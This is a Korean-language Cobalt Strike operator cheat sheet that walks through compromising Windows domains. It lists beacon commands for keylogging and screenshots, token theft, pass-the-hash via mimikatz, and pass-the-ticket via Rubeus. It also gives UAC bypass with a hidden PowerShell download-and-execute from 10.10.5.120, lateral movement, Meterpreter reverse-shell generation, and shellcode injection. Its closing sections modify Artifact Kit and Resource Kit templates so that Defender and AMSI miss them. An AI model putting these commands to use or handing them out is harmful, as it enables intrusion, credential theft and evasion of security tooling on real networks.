Cobalt Strike

๋ฆฌ์Šค๋„ˆ

C2 ๋ฆฌ์Šค๋„ˆ

Cobalt Strike -> Listeners -> Add/Edit๋ฅผ ์„ ํƒํ•œ ๋‹ค์Œ, ์ˆ˜์‹ ํ•  ์œ„์น˜, ์‚ฌ์šฉํ•  ๋น„์ฝ˜ ์ข…๋ฅ˜ (http, dns, smb ๋“ฑ) ๋“ฑ์„ ์„ ํƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Peer2Peer ๋ฆฌ์Šค๋„ˆ

์ด ๋ฆฌ์Šค๋„ˆ์˜ ๋น„์ฝ˜์€ C2์™€ ์ง์ ‘ ํ†ต์‹ ํ•  ํ•„์š”๊ฐ€ ์—†์œผ๋ฉฐ, ๋‹ค๋ฅธ ๋น„์ฝ˜์„ ํ†ตํ•ด ํ†ต์‹ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Cobalt Strike -> Listeners -> Add/Edit๋ฅผ ์„ ํƒํ•œ ๋‹ค์Œ, TCP ๋˜๋Š” SMB ๋น„์ฝ˜์„ ์„ ํƒํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

  • TCP ๋น„์ฝ˜์€ ์„ ํƒํ•œ ํฌํŠธ์— ๋ฆฌ์Šค๋„ˆ๋ฅผ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ๋น„์ฝ˜์—์„œ connect <ip> <port> ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์—ฌ TCP ๋น„์ฝ˜์— ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • SMB ๋น„์ฝ˜์€ ์„ ํƒํ•œ ์ด๋ฆ„์˜ ํŒŒ์ดํ”„๋„ค์ž„์—์„œ ์ˆ˜์‹  ๋Œ€๊ธฐํ•ฉ๋‹ˆ๋‹ค. SMB ๋น„์ฝ˜์— ์—ฐ๊ฒฐํ•˜๋ ค๋ฉด link [target] [pipe] ๋ช…๋ น์„ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

ํŽ˜์ด๋กœ๋“œ ์ƒ์„ฑ ๋ฐ ํ˜ธ์ŠคํŒ…

ํŒŒ์ผ์—์„œ ํŽ˜์ด๋กœ๋“œ ์ƒ์„ฑ

Attacks -> Packages ->

  • **HTMLApplication**์€ HTA ํŒŒ์ผ์šฉ์ž…๋‹ˆ๋‹ค.

  • **MS Office Macro**์€ ๋งคํฌ๋กœ๊ฐ€ ํฌํ•จ๋œ ์˜คํ”ผ์Šค ๋ฌธ์„œ์šฉ์ž…๋‹ˆ๋‹ค.

  • **Windows Executable**์€ .exe, .dll ๋˜๋Š” ์„œ๋น„์Šค .exe์šฉ์ž…๋‹ˆ๋‹ค.

  • **Windows Executable (S)**์€ ์Šคํ…Œ์ด์ง€๊ฐ€ ์—†๋Š” .exe, .dll ๋˜๋Š” ์„œ๋น„์Šค .exe์šฉ์ž…๋‹ˆ๋‹ค (์Šคํ…Œ์ด์ง€๊ฐ€ ์žˆ๋Š” ๊ฒƒ๋ณด๋‹ค IoC๊ฐ€ ์ ์Šต๋‹ˆ๋‹ค).

ํŽ˜์ด๋กœ๋“œ ์ƒ์„ฑ ๋ฐ ํ˜ธ์ŠคํŒ…

Attacks -> Web Drive-by -> Scripted Web Delivery (S)๋ฅผ ์„ ํƒํ•˜๋ฉด cobalt strike์—์„œ ๋น„์ฝ˜์„ ๋‹ค์šด๋กœ๋“œํ•˜๊ธฐ ์œ„ํ•œ ์Šคํฌ๋ฆฝํŠธ/์‹คํ–‰ ํŒŒ์ผ์ด bitsadmin, exe, powershell ๋ฐ python๊ณผ ๊ฐ™์€ ํ˜•์‹์œผ๋กœ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค.

ํŽ˜์ด๋กœ๋“œ ํ˜ธ์ŠคํŒ…

์›น ์„œ๋ฒ„์— ํ˜ธ์ŠคํŒ…ํ•  ํŒŒ์ผ์ด ์ด๋ฏธ ์žˆ๋Š” ๊ฒฝ์šฐ Attacks -> Web Drive-by -> Host File๋กœ ์ด๋™ํ•˜์—ฌ ํ˜ธ์ŠคํŒ…ํ•  ํŒŒ์ผ๊ณผ ์›น ์„œ๋ฒ„ ๊ตฌ์„ฑ์„ ์„ ํƒํ•˜์‹ญ์‹œ์˜ค.

๋น„์ฝ˜ ์˜ต์…˜

# ๋กœ์ปฌ .NET ์ด์ง„ ํŒŒ์ผ ์‹คํ–‰
execute-assembly </path/to/executable.exe>

# ์Šคํฌ๋ฆฐ์ƒท
printscreen    # PrintScr ๋ฉ”์„œ๋“œ๋ฅผ ํ†ตํ•ด ๋‹จ์ผ ์Šคํฌ๋ฆฐ์ƒท ์บก์ฒ˜
screenshot     # ๋‹จ์ผ ์Šคํฌ๋ฆฐ์ƒท ์บก์ฒ˜
screenwatch    # ๋ฐ์Šคํฌํ†ฑ์˜ ์ฃผ๊ธฐ์ ์ธ ์Šคํฌ๋ฆฐ์ƒท ์บก์ฒ˜
## ๋ณด๋ ค๋ฉด View -> Screenshots๋กœ ์ด๋™

# ํ‚ค๋กœ๊ฑฐ
keylogger [pid] [x86|x64]
## View > Keystrokes์—์„œ ๋ˆŒ๋ฆฐ ํ‚ค ํ™•์ธ

# ํฌํŠธ ์Šค์บ”
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # ๋‹ค๋ฅธ ํ”„๋กœ์„ธ์Šค ๋‚ด์—์„œ ํฌํŠธ ์Šค์บ” ์•ก์…˜ ์ฃผ์ž…
portscan [targets] [ports] [arp|icmp|none] [max connections]

# Powershell
# Powershell ๋ชจ๋“ˆ ๊ฐ€์ ธ์˜ค๊ธฐ
powershell-import C:\path\to\PowerView.ps1
powershell <์—ฌ๊ธฐ์— powershell ๋ช…๋ น ์ž…๋ ฅ>

# ์‚ฌ์šฉ์ž ์œ„์žฅ
## ์ž๊ฒฉ ์ฆ๋ช…์œผ๋กœ ํ† ํฐ ์ƒ์„ฑ
make_token [DOMAIN\user] [password] # ๋„คํŠธ์›Œํฌ์—์„œ ์‚ฌ์šฉ์ž๋ฅผ ์œ„์žฅํ•˜๊ธฐ ์œ„ํ•ด ํ† ํฐ ์ƒ์„ฑ
ls \\computer_name\c$ # ์ƒ์„ฑ๋œ ํ† ํฐ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ปดํ“จํ„ฐ์˜ C$์— ์•ก์„ธ์Šค ์‹œ๋„
rev2self # make_token์œผ๋กœ ์ƒ์„ฑ๋œ ํ† ํฐ ์‚ฌ์šฉ ์ค‘์ง€
## make_token ์‚ฌ์šฉ ์‹œ ์ด๋ฒคํŠธ 4624๊ฐ€ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค. ์ด ์ด๋ฒคํŠธ๋Š” Windows ๋„๋ฉ”์ธ์—์„œ ๋งค์šฐ ์ผ๋ฐ˜์ ์ด์ง€๋งŒ, ๋กœ๊ทธ์˜จ ์œ ํ˜•์œผ๋กœ ํ•„ํ„ฐ๋งํ•˜์—ฌ ์ขํž ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์œ„์—์„œ ์–ธ๊ธ‰ํ•œ๋Œ€๋กœ LOGON32_LOGON_NEW_CREDENTIALS๋ฅผ ์‚ฌ์šฉํ•˜๋ฉฐ, ์ด๋Š” ์œ ํ˜• 9์ž…๋‹ˆ๋‹ค.

# UAC ์šฐํšŒ
elevate svc-exe <๋ฆฌ์Šค๋„ˆ>
elevate uac-token-duplication <๋ฆฌ์Šค๋„ˆ>
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

## pid์—์„œ ํ† ํฐ ๋„์šฉ
## make_token๊ณผ ์œ ์‚ฌํ•˜์ง€๋งŒ ํ”„๋กœ์„ธ์Šค์—์„œ ํ† ํฐ์„ ๋„์šฉํ•ฉ๋‹ˆ๋‹ค.
steal_token [pid] # ๋˜ํ•œ, ์ด๋Š” ๋กœ์ปฌ ์ž‘์—…์ด ์•„๋‹Œ ๋„คํŠธ์›Œํฌ ์ž‘์—…์— ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.
## API ๋ฌธ์„œ์—์„œ ์•Œ ์ˆ˜ ์žˆ๋“ฏ์ด ์ด ๋กœ๊ทธ์˜จ ์œ ํ˜•์€ "ํ˜ธ์ถœ์ž๊ฐ€ ํ˜„์žฌ ํ† ํฐ์„ ๋ณต์ œํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค". ์ด๊ฒƒ์ด Beacon ์ถœ๋ ฅ์—์„œ Impersonated <current_username>์ด๋ผ๊ณ  ํ‘œ์‹œ๋˜๋Š” ์ด์œ ์ž…๋‹ˆ๋‹ค. ์ด๋Š” ์šฐ๋ฆฌ ์ž์‹ ์˜ ๋ณต์ œ๋œ ํ† ํฐ์„ ์œ„์žฅํ•˜๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.
ls \\computer_name\c$ # ์ƒ์„ฑ๋œ ํ† ํฐ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ปดํ“จํ„ฐ์˜ C$์— ์•ก์„ธ์Šค ์‹œ๋„
rev2self # steal_token์—์„œ ๋„์šฉํ•œ ํ† ํฐ ์‚ฌ์šฉ ์ค‘์ง€

## ์ƒˆ ์ž๊ฒฉ ์ฆ๋ช…์œผ๋กœ ํ”„๋กœ์„ธ์Šค ์‹คํ–‰
spawnas [domain\username] [password] [listener] # C:\์™€ ๊ฐ™์€ ์ฝ๊ธฐ ๊ถŒํ•œ์ด ์žˆ๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ ์‹คํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
## make_token๊ณผ ์œ ์‚ฌํ•˜๊ฒŒ Windows ์ด๋ฒคํŠธ 4624๊ฐ€ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค. ๋กœ๊ทธ์˜จ ์œ ํ˜•์€ 2(LOGON32_LOGON_INTERACTIVE)์ž…๋‹ˆ๋‹ค. ํ˜ธ์ถœํ•˜๋Š” ์‚ฌ์šฉ์ž(TargetUserName)์™€ ์œ„์žฅ๋œ ์‚ฌ์šฉ์ž(TargetOutboundUserName)๊ฐ€ ์ž์„ธํžˆ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค.

## ํ”„๋กœ์„ธ์Šค์— ์ฃผ์ž…
inject [pid] [x64|x86] [listener]
## OpSec ๊ด€์ ์—์„œ ๊ถŒ์žฅํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๊ผญ ํ•„์š”ํ•œ ๊ฒฝ์šฐ์—๋งŒ ํฌ๋กœ์Šค ํ”Œ๋žซํผ ์ฃผ์ž…์„ ์ˆ˜ํ–‰ํ•˜์‹ญ์‹œ์˜ค (์˜ˆ: x86 -> x64 ๋˜๋Š” x64 -> x86).

## ํ•ด์‹œ ์ „๋‹ฌ
## ์ด ์ˆ˜์ • ํ”„๋กœ์„ธ์Šค๋Š” LSASS ๋ฉ”๋ชจ๋ฆฌ ํŒจ์น˜๋ฅผ ํ•„์š”๋กœ ํ•˜๋ฉฐ, ๊ณ ์œ„ํ—˜ ์ž‘์—…์ด๋ฏ€๋กœ ๋กœ์ปฌ ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์ด ํ•„์š”ํ•˜๋ฉฐ, Protected Process Light (PPL)์ด ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์ง€ ์•Š์€ ๊ฒฝ์šฐ์—๋งŒ ์‹คํ–‰ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.
pth [pid] [arch] [DOMAIN\user] [NTLM ํ•ด์‹œ]
pth [DOMAIN\user] [NTLM ํ•ด์‹œ]

## mimikatz๋ฅผ ํ†ตํ•œ ํ•ด์‹œ ์ „๋‹ฌ
mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM ํ•ด์‹œ> /run:"powershell -w hidden"
## /run ์—†์ด mimikatz๋Š” cmd.exe๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ๋ฐ์Šคํฌํ†ฑ์„ ์‹คํ–‰ ์ค‘์ธ ์‚ฌ์šฉ์ž๋Š” ์‰˜์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (SYSTEM์œผ๋กœ ์‹คํ–‰ ์ค‘์ธ ๊ฒฝ์šฐ ๋ฌธ์ œ ์—†์Œ)
steal_token <pid> # mimikatz๊ฐ€ ์ƒ์„ฑํ•œ ํ”„๋กœ์„ธ์Šค์—์„œ ํ† ํฐ ๋„์šฉ

## ํ‹ฐ์ผ“ ์ „๋‹ฌ
## ํ‹ฐ์ผ“ ์š”์ฒญ
execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
## ์ƒˆ ํ‹ฐ์ผ“์„ ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•ด ์ƒˆ ๋กœ๊ทธ์˜จ ์„ธ์…˜ ์ƒ์„ฑ (์†์ƒ๋œ ์„ธ์…˜์„ ๋ฎ์–ด์“ฐ์ง€ ์•Š๊ธฐ ์œ„ํ•ด)
make_token <domain>\<username> DummyPass
## ๊ณต๊ฒฉ์ž ์ปดํ“จํ„ฐ์— ํ‹ฐ์ผ“ ์ž‘์„ฑ ๋ฐ ๋กœ๋“œ
[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi

## SYSTEM์—์„œ ํ‹ฐ์ผ“ ์ „๋‹ฌ
## ํ‹ฐ์ผ“์„ ์‚ฌ์šฉํ•˜์—ฌ ์ƒˆ ํ”„๋กœ์„ธ์Šค ์ƒ์„ฑ
execute-assembly C:\path\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
## ํ•ด๋‹น ํ”„๋กœ์„ธ์Šค์—์„œ ํ† ํฐ ๋„์šฉ
steal_token <pid>

## ํ‹ฐ์ผ“ ์ถ”์ถœ + ํ‹ฐ์ผ“ ์ „๋‹ฌ
### ํ‹ฐ์ผ“ ๋ชฉ๋ก
execute-assembly C:\path\Rubeus.exe triage
### luid๋กœ ํ‹ฐ์ผ“ ๋คํ”„
execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:&#
### ์ƒˆ๋กœ์šด ๋กœ๊ทธ์˜จ ์„ธ์…˜ ์ƒ์„ฑ, luid์™€ processid ๊ธฐ๋ก
execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
### ์ƒ์„ฑ๋œ ํ‹ฐ์ผ“์„ ๋กœ๊ทธ์˜จ ์„ธ์…˜์— ์‚ฝ์ž…
execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
### ๋งˆ์ง€๋ง‰์œผ๋กœ, ์ƒˆ๋กœ์šด ํ”„๋กœ์„ธ์Šค์—์„œ ํ† ํฐ์„ ๋„์šฉ
steal_token <pid>

# ์ธก๋ฉด ์ด๋™
## ํ† ํฐ์ด ์ƒ์„ฑ๋˜์—ˆ๋‹ค๋ฉด ์‚ฌ์šฉ๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค.
jump [method] [target] [listener]
## ๋ฉ”์†Œ๋“œ:
## psexec                    x86   ์„œ๋น„์Šค๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์„œ๋น„์Šค EXE ์•„ํ‹ฐํŒฉํŠธ ์‹คํ–‰
## psexec64                  x64   ์„œ๋น„์Šค๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์„œ๋น„์Šค EXE ์•„ํ‹ฐํŒฉํŠธ ์‹คํ–‰
##ย psexec_psh                x86   ์„œ๋น„์Šค๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ PowerShell ์›๋ผ์ด๋„ˆ ์‹คํ–‰
##ย winrm                     x86   WinRM์„ ํ†ตํ•ด PowerShell ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰
##ย winrm64                   x64   WinRM์„ ํ†ตํ•ด PowerShell ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰

remote-exec [method] [target] [command]
## ๋ฉ”์†Œ๋“œ:
##ย psexec                          ์„œ๋น„์Šค ์ œ์–ด ๊ด€๋ฆฌ์ž๋ฅผ ํ†ตํ•œ ์›๊ฒฉ ์‹คํ–‰
##ย winrm                           WinRM์„ ํ†ตํ•œ ์›๊ฒฉ ์‹คํ–‰ (PowerShell)
##ย wmi                             WMI๋ฅผ ํ†ตํ•œ ์›๊ฒฉ ์‹คํ–‰

## wmi๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋น„์ฝ˜์„ ์‹คํ–‰ํ•˜๋ ค๋ฉด (jump ๋ช…๋ น์— ์—†์Œ) ๋น„์ฝ˜์„ ์—…๋กœ๋“œํ•˜๊ณ  ์‹คํ–‰ํ•˜์‹ญ์‹œ์˜ค.
beacon> upload C:\Payloads\beacon-smb.exe
beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe


# ์„ธ์…˜์„ Metasploit์— ์ „๋‹ฌ - ๋ฆฌ์Šค๋„ˆ๋ฅผ ํ†ตํ•ด
## Metasploit ํ˜ธ์ŠคํŠธ์—์„œ
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set LHOST eth0
msf6 exploit(multi/handler) > set LPORT 8080
msf6 exploit(multi/handler) > exploit -j

## Cobalt์—์„œ: Listeners > Add ๋ฐ Payload๋ฅผ Foreign HTTP๋กœ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. Host๋ฅผ 10.10.5.120๋กœ, Port๋ฅผ 8080์œผ๋กœ ์„ค์ •ํ•˜๊ณ  ์ €์žฅ์„ ํด๋ฆญํ•ฉ๋‹ˆ๋‹ค.
beacon> spawn metasploit
## ์™ธ๋ถ€ ๋ฆฌ์Šค๋„ˆ๋กœ๋Š” x86 Meterpreter ์„ธ์…˜๋งŒ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

# ์„ธ์…˜์„ Metasploit์— ์ „๋‹ฌ - ์‰˜์ฝ”๋“œ ์ธ์ ์…˜์„ ํ†ตํ•ด
## Metasploit ํ˜ธ์ŠคํŠธ์—์„œ
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw -o /tmp/msf.bin
## msfvenom์„ ์‹คํ–‰ํ•˜๊ณ  multi/handler ๋ฆฌ์Šค๋„ˆ๋ฅผ ์ค€๋น„ํ•ฉ๋‹ˆ๋‹ค.

## bin ํŒŒ์ผ์„ cobalt strike ํ˜ธ์ŠคํŠธ๋กœ ๋ณต์‚ฌํ•ฉ๋‹ˆ๋‹ค.
ps
shinject <pid> x64 C:\Payloads\msf.bin # x64 ํ”„๋กœ์„ธ์Šค์— metasploit ์‰˜์ฝ”๋“œ๋ฅผ ์ธ์ ์…˜ํ•ฉ๋‹ˆ๋‹ค.

# Metasploit ์„ธ์…˜์„ cobalt strike์— ์ „๋‹ฌ
## stageless Beacon ์‰˜์ฝ”๋“œ๋ฅผ ์ƒ์„ฑํ•˜๋ ค๋ฉด, Attacks > Packages > Windows Executable (S)๋กœ ์ด๋™ํ•˜๊ณ  ์›ํ•˜๋Š” ๋ฆฌ์Šค๋„ˆ๋ฅผ ์„ ํƒํ•œ ๋‹ค์Œ Output ์œ ํ˜•์œผ๋กœ Raw๋ฅผ ์„ ํƒํ•˜๊ณ  Use x64 payload๋ฅผ ์„ ํƒํ•ฉ๋‹ˆ๋‹ค.
## metasploit์—์„œ post/windows/manage/shellcode_inject๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ƒ์„ฑ๋œ cobalt strike ์‰˜์ฝ”๋“œ๋ฅผ ์ธ์ ์…˜ํ•ฉ๋‹ˆ๋‹ค.


# ํ”ผ๋ฒ—
## ํŒ€์„œ๋ฒ„์—์„œ ์†Œ์ผ“ ํ”„๋ก์‹œ ์—ด๊ธฐ
beacon> socks 1080

# SSH ์—ฐ๊ฒฐ
beacon> ssh 10.10.17.12:22 username password

AV ํšŒํ”ผ

Artifact Kit

์ผ๋ฐ˜์ ์œผ๋กœ /opt/cobaltstrike/artifact-kit์—์„œ cobalt strike๊ฐ€ ์ด์ง„ ๋น„์ฝ˜์„ ์ƒ์„ฑํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ฝ”๋“œ์™€ ๋ฏธ๋ฆฌ ์ปดํŒŒ์ผ๋œ ํ…œํ”Œ๋ฆฟ (/src-common)์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ThreatCheck๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ƒ์„ฑ๋œ ๋ฐฑ๋„์–ด(๋˜๋Š” ์ปดํŒŒ์ผ๋œ ํ…œํ”Œ๋ฆฟ)๋กœ defender๊ฐ€ ํŠธ๋ฆฌ๊ฑฐ๋˜๋Š” ์›์ธ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ ๋ฌธ์ž์—ด์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋ฐฑ๋„์–ด๋ฅผ ์ƒ์„ฑํ•˜๋Š” ์ฝ”๋“œ์—์„œ ํ•ด๋‹น ๋ฌธ์ž์—ด์ด ์ตœ์ข… ์ด์ง„ ํŒŒ์ผ์— ๋‚˜ํƒ€๋‚˜์ง€ ์•Š๋„๋ก ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ฝ”๋“œ๋ฅผ ์ˆ˜์ •ํ•œ ํ›„ ๋™์ผํ•œ ๋””๋ ‰ํ† ๋ฆฌ์—์„œ ./build.sh๋ฅผ ์‹คํ–‰ํ•˜๊ณ  dist-pipe/ ํด๋”๋ฅผ Windows ํด๋ผ์ด์–ธํŠธ์˜ C:\Tools\cobaltstrike\ArtifactKit์— ๋ณต์‚ฌํ•ฉ๋‹ˆ๋‹ค.

pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .

์žŠ์ง€ ๋ง๊ณ  ๊ณต๊ฒฉ์ ์ธ ์Šคํฌ๋ฆฝํŠธ dist-pipe\artifact.cna๋ฅผ ๋กœ๋“œํ•˜์—ฌ Cobalt Strike์—๊ฒŒ ์›ํ•˜๋Š” ๋””์Šคํฌ ๋ฆฌ์†Œ์Šค๋ฅผ ์‚ฌ์šฉํ•˜๋„๋ก ์ง€์‹œํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๋ฆฌ์†Œ์Šค ํ‚คํŠธ

๋ฆฌ์†Œ์Šค ํ‚คํŠธ ํด๋”์—๋Š” PowerShell, VBA ๋ฐ HTA๋ฅผ ํฌํ•จํ•œ Cobalt Strike์˜ ์Šคํฌ๋ฆฝํŠธ ๊ธฐ๋ฐ˜ ํŽ˜์ด๋กœ๋“œ์˜ ํ…œํ”Œ๋ฆฟ์ด ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

ํ…œํ”Œ๋ฆฟ๊ณผ ํ•จ๊ป˜ ThreatCheck๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฐฉ์–ด์ž(์ด ๊ฒฝ์šฐ AMSI)๊ฐ€ ์ข‹์•„ํ•˜์ง€ ์•Š๋Š” ๋ถ€๋ถ„์„ ์ฐพ๊ณ  ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1

๊ฐ์ง€๋œ ๋ผ์ธ์„ ์ˆ˜์ •ํ•˜์—ฌ ๊ฐ์ง€๋˜์ง€ ์•Š๋Š” ํ…œํ”Œ๋ฆฟ์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Cobalt Strike์—๊ฒŒ ๋””์Šคํฌ์—์„œ ์›ํ•˜๋Š” ๋ฆฌ์†Œ์Šค๋ฅผ ๋กœ๋“œํ•˜๋„๋ก ์ง€์‹œํ•˜๊ธฐ ์œ„ํ•ด ๊ณต๊ฒฉ์ ์ธ ์Šคํฌ๋ฆฝํŠธ ResourceKit\resources.cna๋ฅผ ๋กœ๋“œํ•˜๋Š” ๊ฒƒ์„ ์žŠ์ง€ ๋งˆ์„ธ์š”.

cd C:\Tools\neo4j\bin
neo4j.bat console
http://localhost:7474/ --> Change password
execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL



# Change powershell
C:\Tools\cobaltstrike\ResourceKit
template.x64.ps1
# Change $var_code -> $polop
# $x --> $ar
cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna

#artifact kit
cd  C:\Tools\cobaltstrike\ArtifactKit
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .

Last updated